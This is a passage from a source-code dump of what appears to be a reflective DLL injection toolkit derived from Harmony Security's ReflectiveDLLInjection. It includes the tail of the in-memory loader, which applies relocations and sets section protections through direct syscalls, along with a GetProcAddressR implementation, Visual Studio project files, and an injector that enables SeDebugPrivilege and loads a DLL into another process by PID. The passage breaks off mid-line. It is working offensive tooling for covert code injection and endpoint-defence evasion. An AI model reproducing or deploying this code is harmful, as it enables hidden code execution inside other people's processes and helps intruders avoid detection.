| while( uiValueB-- ) 409 | { 410 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 411 | // we dont use a switch statement to avoid the compiler building a jump table 412 | // which would not be very position independent! 413 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 414 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 415 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 416 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 417 | #ifdef WIN_ARM 418 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 419 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 420 | { 421 | register DWORD dwInstruction; 422 | register DWORD dwAddress; 423 | register WORD wImm; 424 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 425 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 426 | // flip the words to get the instruction as expected 427 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 428 | // sanity chack we are processing a MOV instruction... 429 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 430 | { 431 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 432 | wImm = (WORD)( dwInstruction & 0x000000FF); 433 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 434 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 435 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 436 | // apply the relocation to the target address 437 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 438 | // now create a new instruction with the same opcode and register param. 439 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 440 | // patch in the relocated address... 441 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 442 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 443 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 444 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 445 | // now flip the instructions words and patch back into the code... 446 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 447 | } 448 | } 449 | #endif 450 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 451 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 452 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 453 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 454 | 455 | // get the next entry in the current relocation block 456 | uiValueD += sizeof( IMAGE_RELOC ); 457 | } 458 | 459 | uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 460 | // get the next entry in the relocation directory 461 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 462 | } 463 | } 464 | 465 | // iterate through all sections, applying protections 466 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 467 | 468 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 469 | 470 | // Characteristics processing courtesy of Dark Vort∑x, 2021-06-01 471 | // see: https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/ 472 | while( uiValueE-- ) 473 | { 474 | // uiValueB is the VA for this section 475 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 476 | 477 | // get the sections memory protections value 478 | dwProtect = 0; 479 | if (((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_WRITE) { 480 | dwProtect = PAGE_WRITECOPY; 481 | } 482 | if (((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_READ) { 483 | dwProtect = PAGE_READONLY; 484 | } 485 | if ((((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_WRITE) && (((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_READ)) { 486 | dwProtect = PAGE_READWRITE; 487 | } 488 | if (((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_EXECUTE) { 489 | dwProtect = PAGE_EXECUTE; 490 | } 491 | if ((((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_WRITE)) { 492 | dwProtect = PAGE_EXECUTE_WRITECOPY; 493 | } 494 | if ((((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_READ)) { 495 | dwProtect = PAGE_EXECUTE_READ; 496 | } 497 | if ((((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_WRITE) && (((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics & IMAGE_SCN_MEM_READ)) { 498 | dwProtect = PAGE_EXECUTE_READWRITE; 499 | } 500 | 501 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 502 | 503 | if (uiValueD) 504 | rdiNtProtectVirtualMemory(&ZwProtectVirtualMemorySyscall, (HANDLE)-1, (PVOID*)&uiValueB, &uiValueD, dwProtect, &dwProtect); 505 | 506 | // get the VA of the next section 507 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 508 | } 509 | 510 | 511 | // STEP 6: call our images entry point 512 | 513 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 514 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 515 | 516 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 517 | rdiNtFlushInstructionCache(&ZwFlushInstructionCacheSyscall, (HANDLE) -1, NULL, 0); 518 | 519 | // call our respective entry point, fudging our hInstance value 520 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 521 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 522 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 523 | #else 524 | // if we are injecting an DLL via a stub we call DllMain with no parameter 525 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 526 | #endif 527 | 528 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 529 | return uiValueA; 530 | } 531 | //===============================================================================================// 532 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 533 | 534 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 535 | { 536 | BOOL bReturnValue = TRUE; 537 | 538 | switch( dwReason ) 539 | { 540 | case DLL_QUERY_HMODULE: 541 | if( lpReserved != NULL ) 542 | *(HMODULE *)lpReserved = hAppInstance; 543 | break; 544 | case DLL_PROCESS_ATTACH: 545 | hAppInstance = hinstDLL; 546 | break; 547 | case DLL_PROCESS_DETACH: 548 | case DLL_THREAD_ATTACH: 549 | case DLL_THREAD_DETACH: 550 | break; 551 | } 552 | return bReturnValue; 553 | } 554 | 555 | #endif 556 | //===============================================================================================// 557 | -------------------------------------------------------------------------------- /dll/src/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | 29 | // C5045 warning was introduced in Visual Studio 2017 version 15.7 30 | // See https://devblogs.microsoft.com/cppblog/spectre-mitigations-in-msvc/ 31 | // See https://learn.microsoft.com/en-us/cpp/preprocessor/predefined-macros?view=msvc-170 32 | #if _MSC_VER >= 1914 33 | #pragma warning(disable: 5045) // warning C5045: Compiler will insert Spectre mitigation for memory load if /Qspectre switch specified 34 | #endif 35 | #pragma warning(disable: 4820) // warning C4820: X bytes padding added after construct Y 36 | 37 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 38 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 39 | //===============================================================================================// 40 | #define WIN32_LEAN_AND_MEAN 41 | 42 | #pragma warning(disable: 4668) // warning C4820: 'symbol' is not defined as a preprocessor macro, replacing with '0' for 'directives' 43 | #pragma warning(disable: 4255) // warning C4820: 'function' : no function prototype given: converting '()' to '(void)' 44 | 45 | #include 46 | #include 47 | #include 48 | 49 | #include "ReflectiveDLLInjection.h" 50 | #include "DirectSyscall.h" 51 | 52 | // Enable this define to turn on locking of memory to prevent paging 53 | #define ENABLE_STOPPAGING 54 | 55 | #ifdef ENABLE_STOPPAGING 56 | typedef LPVOID(WINAPI* NTLOCKVIRTUALMEMORY)(HANDLE, PVOID*, PSIZE_T, ULONG); 57 | #define ZWLOCKVIRTUALMEMORY_HASH 0x8169ADC3 58 | #endif 59 | 60 | typedef struct 61 | { 62 | WORD offset:12; 63 | WORD type:4; 64 | } IMAGE_RELOC, *PIMAGE_RELOC; 65 | //===============================================================================================// 66 | #endif 67 | //===============================================================================================// 68 | -------------------------------------------------------------------------------- /inject/inject.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | ARM 7 | 8 | 9 | Debug 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | ARM 19 | 20 | 21 | Release 22 | Win32 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335} 31 | inject 32 | Win32Proj 33 | 10.0 34 | 35 | 36 | 37 | Application 38 | v142 39 | MultiByte 40 | true 41 | 42 | 43 | Application 44 | v142 45 | MultiByte 46 | true 47 | 48 | 49 | Application 50 | v142 51 | Unicode 52 | 53 | 54 | Application 55 | v142 56 | Unicode 57 | 58 | 59 | Application 60 | v142 61 | MultiByte 62 | true 63 | 64 | 65 | Application 66 | v142 67 | Unicode 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | <_ProjectFileVersion>11.0.50727.1 93 | 94 | 95 | $(SolutionDir)$(Configuration)\ 96 | $(Configuration)\ 97 | true 98 | $(ProjectName).$(Platform) 99 | 100 | 101 | true 102 | $(ProjectName).$(Platform) 103 | 104 | 105 | $(SolutionDir)$(Platform)\$(Configuration)\ 106 | $(Platform)\$(Configuration)\ 107 | true 108 | $(ProjectName).$(Platform) 109 | 110 | 111 | $(SolutionDir)$(Configuration)\ 112 | $(Configuration)\ 113 | false 114 | $(ProjectName).$(Platform) 115 | 116 | 117 | false 118 | $(ProjectName).$(Platform) 119 | 120 | 121 | $(SolutionDir)$(Platform)\$(Configuration)\ 122 | $(Platform)\$(Configuration)\ 123 | false 124 | $(ProjectName).$(Platform) 125 | 126 | 127 | 128 | Disabled 129 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 130 | false 131 | EnableFastChecks 132 | MultiThreadedDebugDLL 133 | 134 | EnableAllWarnings 135 | ProgramDatabase 136 | ../common 137 | 138 | 139 | 140 | true 141 | Console 142 | MachineX86 143 | $(OutDir)$(TargetName)$(TargetExt) 144 | 145 | 146 | 147 | 148 | 149 | 150 | Disabled 151 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 152 | true 153 | EnableFastChecks 154 | MultiThreadedDebugDLL 155 | 156 | 157 | Level3 158 | EditAndContinue 159 | ../common 160 | 161 | 162 | true 163 | Console 164 | $(OutDir)$(TargetName)$(TargetExt) 165 | 166 | 167 | 168 | 169 | X64 170 | 171 | 172 | Disabled 173 | _DEBUG;_WIN64;_CONSOLE;%(PreprocessorDefinitions) 174 | false 175 | EnableFastChecks 176 | MultiThreadedDebugDLL 177 | 178 | EnableAllWarnings 179 | ProgramDatabase 180 | ../common 181 | 182 | 183 | true 184 | Console 185 | MachineX64 186 | $(OutDir)$(TargetName)$(TargetExt) 187 | 188 | 189 | 190 | 191 | Custom 192 | false 193 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 194 | MultiThreaded 195 | true 196 | 197 | EnableAllWarnings 198 | ProgramDatabase 199 | ../common 200 | false 201 | OnlyExplicitInline 202 | Size 203 | true 204 | false 205 | true 206 | /Og %(AdditionalOptions) 207 | 208 | 209 | true 210 | Console 211 | true 212 | true 213 | MachineX86 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | MaxSpeed 227 | true 228 | WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions) 229 | MultiThreaded 230 | true 231 | 232 | 233 | Level3 234 | ProgramDatabase 235 | ../common 236 | false 237 | 238 | 239 | true 240 | Console 241 | true 242 | true 243 | $(OutDir)$(TargetName)$(TargetExt) 244 | %(AdditionalDependencies) 245 | 246 | 247 | 248 | 249 | X64 250 | 251 | 252 | Custom 253 | false 254 | _CONSOLE;_WIN64;%(PreprocessorDefinitions) 255 | MultiThreaded 256 | true 257 | 258 | EnableAllWarnings 259 | ProgramDatabase 260 | ../common 261 | false 262 | false 263 | Size 264 | true 265 | OnlyExplicitInline 266 | true 267 | /Og %(AdditionalOptions) 268 | 269 | 270 | $(OutDir)$(TargetName)$(TargetExt) 271 | true 272 | Console 273 | true 274 | true 275 | MachineX64 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | -------------------------------------------------------------------------------- /inject/inject.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | Source Files 19 | 20 | 21 | Source Files 22 | 23 | 24 | 25 | 26 | Header Files 27 | 28 | 29 | Header Files 30 | 31 | 32 | Header Files 33 | 34 | 35 | -------------------------------------------------------------------------------- /inject/src/GetProcAddressR.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "GetProcAddressR.h" 29 | 30 | #ifdef __MINGW32__ 31 | #define __try 32 | #define __except(x) if(0) 33 | #endif 34 | 35 | //===============================================================================================// 36 | // We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which 37 | // wont be able to resolve exported addresses in reflectivly loaded librarys. 38 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ) 39 | { 40 | UINT_PTR uiLibraryAddress = 0; 41 | FARPROC fpResult = NULL; 42 | 43 | if( hModule == NULL ) 44 | return NULL; 45 | 46 | // a module handle is really its base address 47 | uiLibraryAddress = (UINT_PTR)hModule; 48 | 49 | __try 50 | { 51 | UINT_PTR uiAddressArray = 0; 52 | UINT_PTR uiNameArray = 0; 53 | UINT_PTR uiNameOrdinals = 0; 54 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 55 | PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; 56 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; 57 | 58 | // get the VA of the modules NT Header 59 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); 60 | 61 | pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 62 | 63 | // get the VA of the export directory 64 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress ); 65 | 66 | // get the VA for the array of addresses 67 | uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions ); 68 | 69 | // get the VA for the array of name pointers 70 | uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames ); 71 | 72 | // get the VA for the array of name ordinals 73 | uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals ); 74 | 75 | // test if we are importing by name or by ordinal... 76 | if( (((DWORD_PTR)lpProcName) >> 16) == 0 ) 77 | { 78 | // import by ordinal... 79 | 80 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 81 | uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)(DWORD_PTR)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) ); 82 | 83 | // resolve the address for this imported function 84 | fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) ); 85 | } 86 | else 87 | { 88 | // import by name... 89 | DWORD dwCounter = pExportDirectory->NumberOfNames; 90 | while( dwCounter-- ) 91 | { 92 | char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray )); 93 | 94 | // test if we have a match... 95 | if( strcmp( cpExportedFunctionName, lpProcName ) == 0 ) 96 | { 97 | // use the functions name ordinal as an index into the array of name pointers 98 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 99 | 100 | // calculate the virtual address for the function 101 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray )); 102 | 103 | // finish... 104 | break; 105 | } 106 | 107 | // get the next exported function name 108 | uiNameArray += sizeof(DWORD); 109 | 110 | // get the next exported function name ordinal 111 | uiNameOrdinals += sizeof(WORD); 112 | } 113 | } 114 | } 115 | __except( EXCEPTION_EXECUTE_HANDLER ) 116 | { 117 | fpResult = NULL; 118 | } 119 | 120 | return fpResult; 121 | } 122 | //===============================================================================================// 123 | -------------------------------------------------------------------------------- /inject/src/GetProcAddressR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 29 | #define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | 33 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); 34 | //===============================================================================================// 35 | #endif 36 | //===============================================================================================// 37 | -------------------------------------------------------------------------------- /inject/src/Inject.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #define WIN32_LEAN_AND_MEAN 29 | #include 30 | #include 31 | #include 32 | #include "LoadLibraryR.h" 33 | 34 | #ifndef __MINGW32__ 35 | #pragma comment(lib,"Advapi32.lib") 36 | #endif 37 | 38 | #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%ld", e, GetLastError() ); break; } 39 | 40 | // Simple app to inject a reflective DLL into a process vis its process ID. 41 | int main( int argc, char * argv[] ) 42 | { 43 | HANDLE hFile = NULL; 44 | HANDLE hModule = NULL; 45 | HANDLE hProcess = NULL; 46 | HANDLE hToken = NULL; 47 | LPVOID lpBuffer = NULL; 48 | DWORD dwLength = 0; 49 | DWORD dwBytesRead = 0; 50 | DWORD dwProcessId = 0; 51 | TOKEN_PRIVILEGES priv = {0}; 52 | 53 | #ifdef _WIN64 54 | char * cpDllFile = "reflective_dll.x64.dll"; 55 | #else 56 | #ifdef WIN32 57 | char * cpDllFile = "reflective_dll.Win32.dll"; 58 | #else WIN_ARM 59 | char * cpDllFile = "reflective_dll.arm.dll"; 60 | #endif 61 | #endif 62 | 63 | 64 | do 65 | { 66 | // Usage: inject.exe [pid] [dll_file] 67 | 68 | if( argc == 1 ) 69 | dwProcessId = GetCurrentProcessId(); 70 | else 71 | dwProcessId = atoi( argv[1] ); 72 | 73 | if( argc >= 3 ) 74 | cpDllFile = argv[2]; 75 | 76 | hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); 77 | if( hFile == INVALID_HANDLE_VALUE ) 78 | BREAK_WITH_ERROR( "Failed to open the DLL file" ); 79 | 80 | dwLength = GetFileSize( hFile, NULL ); 81 | if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) 82 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 83 | 84 | lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); 85 | if( !lpBuffer ) 86 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); 87 | 88 | if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) 89 | BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); 90 | 91 | if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) 92 | { 93 | priv.PrivilegeCount = 1; 94 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 95 | 96 | if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) 97 | AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); 98 | 99 | CloseHandle( hToken ); 100 | } 101 | 102 | hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); 103 | if( !hProcess ) 104 | BREAK_WITH_ERROR( "Failed to open the target process" ); 105 | 106 | hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, "ReflectiveLoader", NULL ); 107 | //hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, MAKEINTRESOURCE(1), NULL ); 108 | if( !hModule ) 109 | BREAK_WITH_ERROR( "Failed to inject the DLL" ); 110 | 111 | printf( "[+] Injected the '%s' DLL into process %ld.\n", 